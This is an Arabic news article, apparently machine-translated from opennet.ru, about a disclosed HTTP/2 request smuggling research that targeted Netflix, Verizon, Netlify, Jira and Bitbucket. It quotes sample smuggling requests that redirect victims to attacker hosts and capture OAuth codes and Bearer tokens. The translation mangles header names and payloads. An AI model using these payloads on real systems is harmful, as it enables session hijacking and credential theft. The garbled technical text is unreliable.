هجوم جديد على أنظمة الواجهة الخلفية للواجهة الأمامية يسمح لك بالتدخل في الطلبات

تعرضت أنظمة الويب التي تقبل فيها الواجهة الأمامية الاتصالات عبر HTTP / 2 وتنقل إلى الواجهة الخلفية عبر HTTP / 1.1 لمتغير جديد من هجوم HTTP Request Smuggling ، والذي يسمح ، عن طريق إرسال طلبات العميل المصممة خصيصًا ، بالتدخل في المحتوى من الطلبات من مستخدمين آخرين تمت معالجتها في نفس التدفق بين الواجهة الأمامية والخلفية. يمكن استخدام الهجوم لإدخال كود JavaScript ضار في جلسة مع موقع شرعي ، وتجاوز أنظمة التحكم في الوصول ، ومعلمات مصادقة اعتراض.

تؤثر المشكلة على بروكسيات الويب وموازنات التحميل ومسرعات الويب وأنظمة تسليم المحتوى والتكوينات الأخرى التي يتم فيها إعادة توجيه الطلبات وفقًا لنظام الواجهة الخلفية للواجهة الأمامية. أظهر مؤلف الدراسة القدرة على مهاجمة الأنظمة على Netflix و Verizon و Bitbucket و Netlify CDN و Atlassian ، وحصل على 56 دولار في برامج مكافآت الثغرات الأمنية. تم تأكيد المشكلة أيضًا في منتجات شبكات F5. تؤثر المشكلة جزئيًا على mod_proxy في خادم Apache http (CVE-2021-33193) ، ومن المتوقع حدوث إصلاح في الإصدار 2.4.49 (تم إخطار المطورين بالمشكلة في أوائل مايو واستلموا 3 أشهر لإصلاحها). في nginx ، تم حظر القدرة على تحديد رؤوس "طول المحتوى" و "ترميز النقل" في نفس الوقت في الإصدار الأخير (1.21.1). تمت إضافة أدوات الهجوم بالفعل إلى مجموعة أدوات Burp وهي متوفرة كملحق Turbo Intruder.

يشبه مبدأ تشغيل الطريقة الجديدة لإدخال الطلبات في حركة المرور الثغرة الأمنية التي حددها نفس الباحث قبل عامين ، ولكنه يقتصر على الواجهات الأمامية التي تقبل الطلبات عبر HTTP / 1.1. تذكر أنه في مخطط الواجهة الخلفية ، يتم تلقي طلبات العملاء بواسطة عقدة إضافية - الواجهة الأمامية ، التي تنشئ اتصال TCP طويل الأمد مع الواجهة الخلفية التي تعالج الطلبات مباشرة. من خلال هذا الاتصال المشترك ، عادةً ما يتم إرسال الطلبات من مستخدمين مختلفين ، والتي تتبع السلسلة واحدة تلو الأخرى ، مفصولة عن طريق بروتوكول HTTP.

استند هجوم "HTTP Request Smuggling" الكلاسيكي على حقيقة أن الواجهات الأمامية والخلفية تفسر استخدام رؤوس HTTP "طول المحتوى" (يحدد الحجم الإجمالي للبيانات في الطلب) و "ترميز النقل: مقسم" ( يسمح بنقل البيانات في أجزاء) بشكل مختلف. على سبيل المثال ، إذا كانت الواجهة الأمامية تدعم فقط "طول المحتوى" ولكنها تتجاهل "ترميز النقل: مقسم" ، فيمكن للمهاجم إرسال طلب يحتوي على رأسي "طول المحتوى" و "ترميز النقل: مقسم" ، ولكن الحجم "طول المحتوى" لا يتطابق مع حجم السلسلة المقسمة. في هذه الحالة ، ستعالج الواجهة الأمامية الطلب وتعيد توجيهه وفقًا لـ "طول المحتوى" ، وستنتظر الواجهة الخلفية حتى تكتمل الكتلة استنادًا إلى "ترميز النقل: مقسم" وسيكون الذيل المتبقي لطلب المهاجم في بداية الطلب الأجنبي المرسل بعد ذلك.

على عكس بروتوكول النص HTTP / 1.1 ، الذي يتم تحليله على مستوى الخط ، يعد HTTP / 2 بروتوكولًا ثنائيًا ويتعامل مع كتل البيانات ذات الحجم المحدد مسبقًا. ومع ذلك ، يستخدم HTTP / 2 الرؤوس الزائفة التي تتوافق مع رؤوس HTTP العادية. عند التفاعل مع الواجهة الخلفية عبر HTTP / 1.1 ، تقوم الواجهة الأمامية بترجمة هذه الرؤوس الزائفة إلى رؤوس HTTP / 1.1 HTTP مماثلة. تكمن المشكلة في أن الواجهة الخلفية تتخذ قرارات بشأن تحليل الدفق بناءً على رؤوس HTTP التي حددتها الواجهة الأمامية ، دون معرفة معلمات الطلب الأصلي.

بما في ذلك في شكل رؤوس زائفة ، يمكن نقل القيمتين "طول المحتوى" و "ترميز النقل" ، على الرغم من عدم استخدامها في HTTP / 2 ، نظرًا لأن حجم جميع البيانات يتم تحديده في مجال منفصل. ومع ذلك ، في عملية تحويل طلب HTTP / 2 إلى HTTP / 1.1 ، يتم ترحيل هذه الرؤوس ويمكن أن تربك الواجهة الخلفية. يوجد خياران رئيسيان للهجوم: H2.TE و H2.CL ، حيث يتم تضليل الواجهة الخلفية بواسطة قيمة غير صحيحة للترميز أو طول المحتوى لا تتوافق مع الحجم الحقيقي لهيئة الطلب التي تتلقاها الواجهة الأمامية عبر بروتوكول HTTP / 2.

كمثال على هجوم H2.CL ، يكون الرأس الزائف بطول المحتوى مشوهًا عند إرسال طلب HTTP / 2 إلى Netflix. ينتج عن هذا الطلب إضافة رأس HTTP مماثل بطول المحتوى عند الوصول إلى الواجهة الخلفية عبر HTTP / 1.1 ، ولكن نظرًا لأن الحجم في طول المحتوى أقل من الحجم الفعلي ، تتم معالجة بعض البيانات الموجودة في الذيل على أنها بداية الطلب التالي.

على سبيل المثال ، طلب HTTP / 2: طريقة POST: مسار / n: سلطة www.netflix.com content-length 4 abcdGET / n HTTP / 1.1 Host: 02.rs؟x.netflix.com Foo: bar

سيرسل طلبًا إلى الخلفية: POST / n HTTP / 1.1 Host: www.netflix.com Content-Length: 4 abcdGET / n HTTP / 1.1 Host: 02.rs؟x.netflix.com Foo: bar

نظرًا لأن طول المحتوى مضبوط على 4 ، فإن الواجهة الخلفية ستقبل فقط "abcd" باعتباره نص الطلب ، وستعالج بقية "GET / n HTTP / 1.1 ..." كبداية للطلب التالي المرتبط بمستخدم آخر. وفقًا لذلك ، سيكون الدفق غير متزامن ، واستجابة للطلب التالي ، سيتم إرجاع نتيجة معالجة الطلب المزيف. في حالة Netflix ، أدى تحديد مضيف تابع لجهة خارجية في عنوان "المضيف:" في طلب مخادع إلى الاستجابة "الموقع: https://02.rs؟x.netflix.com/n" للعميل و يسمح بتمرير المحتوى التعسفي إلى العميل ، بما في ذلك تنفيذ كود JavaScript الخاص بك في سياق موقع Netflix.

البديل الثاني للهجوم (H2.TE) مرتبط باستبدال رأس "ترميز التحويل: المقسم". يُحظر استخدام الرأس الزائف لتشفير النقل في HTTP / 2 بموجب المواصفات ويتم وصف الطلبات التي تتضمنها ليتم التعامل معها على أنها غير صحيحة. على الرغم من ذلك ، تتجاهل بعض تطبيقات الواجهة الأمامية هذا المطلب وتسمح باستخدام الرأس الزائف لترميز النقل في HTTP / 2 ، والذي يترجم إلى رأس HTTP مشابه. إذا كان رأس "ترميز النقل" موجودًا ، يمكن للواجهة الخلفية أن تأخذها كأولوية وتقوم بتحليل البيانات في أجزاء في الوضع "المقسم" باستخدام كتل ذات أحجام مختلفة بالتنسيق "{size} \ r \ n {block}" \ r \ n {size} \ r \ n {block} \ r \ n0 "بالرغم من التقسيم الأولي على الحجم الكلي.

تم توضيح وجود مثل هذه الفجوة من خلال مثال Verizon. ومع ذلك ، فإن المشكلة تتعلق ببوابة المصادقة ونظام إدارة المحتوى ، والذي تستخدمه أيضًا مواقع مثل Huffington Post و Engadget. على سبيل المثال ، طلب عميل عبر HTTP / 2:: طريقة POST: path / identitfy / XUI: مرجع id.b2b.oath.com ترميز نقل مقسم 0 GET / oops HTTP / 1.1 المضيف: psres.net طول المحتوى: 10 س =

تسبب طلب HTTP / 1.1 للخلفية: POST / هوية / XUI HTTP / 1.1 المضيف: id.b2b.oath.com طول المحتوى: 66 ترميز النقل: مقسم 0 GET / oops HTTP / 1.1 المضيف: محتوى psres.net- الطول : 10x =

تجاهلت الواجهة الخلفية بدورها عنوان "طول المحتوى" وقامت بالتقسيم في الدفق بناءً على "ترميز النقل: مقسم". في الممارسة العملية ، أتاح الهجوم إمكانية إعادة توجيه طلبات المستخدم إلى موقعك ، بما في ذلك اعتراض الطلبات المتعلقة بمصادقة OAuth ، والتي ظهرت معلماتها في رأس المرجع ، بالإضافة إلى محاكاة جلسة المصادقة والبدء في إرسال بيانات اعتماد المستخدم إلى مضيف المهاجم. الحصول على / b2blanding / show / oops HTTP / 1.1 المضيف: psres.net المُحيل: https://id.b2b.oath.com/؟…&code=secret GET / HTTP / 1.1 المضيف: ترخيص psres.net: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik ...

لمهاجمة تطبيقات HTTP / 2 التي لا تسمح بتحديد الرأس الزائف لتشفير النقل ، تم اقتراح طريقة أخرى تتضمن استبدال رأس "ترميز النقل" عن طريق إرفاقه برؤوس زائفة أخرى مفصولة بحرف سطر جديد (عند التحويل إلى HTTP / 1.1 في هذه الحالة ، يتم إنشاء رأسي HTTP منفصلين).

على سبيل المثال ، تأثرت Atlassian Jira و Netlify CDN (المستخدمان لخدمة صفحة بدء Mozilla في Firefox) بهذه المشكلة. على وجه التحديد ، طلب HTTP / 2: طريقة POST: المسار /: سلطة start.mozilla.org foo b \ r \ n ترميز النقل: chunked 0 \ r \ n \ r \ n GET / HTTP / 1.1 \ r \ n Host : evil-netlify-domain \ r \ n طول المحتوى: 5 \ r \ n \ r \ nx =

تسبب في إرسال طلب HTTP / 1.1 POST / HTTP / 1.1 إلى الواجهة الخلفية \ r \ n المضيف: start.mozilla.org \ r \ n Foo: b \ r \ n ترميز النقل: مقسم \ r \ n المحتوى- الطول: 71 \ r \ n \ r \ n 0 \ r \ n \ r \ n GET / HTTP / 1.1 \ r \ n المضيف: evil-netlify-domain \ r \ n طول المحتوى: 5 \ r \ n \ r \ nx =

هناك خيار آخر لاستبدال رأس "ترميز النقل" وهو إرفاقه باسم رأس زائف آخر أو بسلسلة باستخدام طريقة الطلب. على سبيل المثال ، عند الوصول إلى Atlassian Jira ، أدى اسم الرأس الزائف "foo: bar \ r \ n ترميز النقل" بالقيمة "chunked" إلى إضافة رؤوس HTTP "foo: bar" و "ترميز النقل : chunked "، والتحديد في pseudo-header": method "للقيمة" GET / HTTP / 1.1 \ r \ n ترميز النقل: chunked "تمت ترجمته إلى" GET / HTTP / 1.1 \ r \ n ترميز النقل: مقسم " .

اقترح الباحث الذي حدد المشكلة أيضًا تقنية طلب نفق لمهاجمة الواجهات الأمامية ، حيث يتم إنشاء اتصال منفصل بالواجهة الخلفية لكل عنوان IP ولا يتم خلط حركة مرور المستخدمين المختلفين. لا يسمح لك الأسلوب المقترح بالتدخل في طلبات المستخدمين الآخرين ، ولكنه يجعل من الممكن إفساد ذاكرة التخزين المؤقت المشتركة ، مما يؤثر على معالجة الطلبات الأخرى ، ويسمح لك بإجراء استبدال رؤوس HTTP الداخلية المستخدمة لنقل معلومات الخدمة من الواجهة الأمامية للواجهة الخلفية (على سبيل المثال ، عند المصادقة على جانب الواجهة الأمامية في مثل هذه الرؤوس ، يمكن إرسال معلومات حول المستخدم الحالي إلى الواجهة الخلفية). كمثال لتطبيق الطريقة عمليًا ، باستخدام تسمم ذاكرة التخزين المؤقت ، كان من الممكن التحكم في الصفحات الموجودة في خدمة Bitbucket.

المصدر: opennet.ru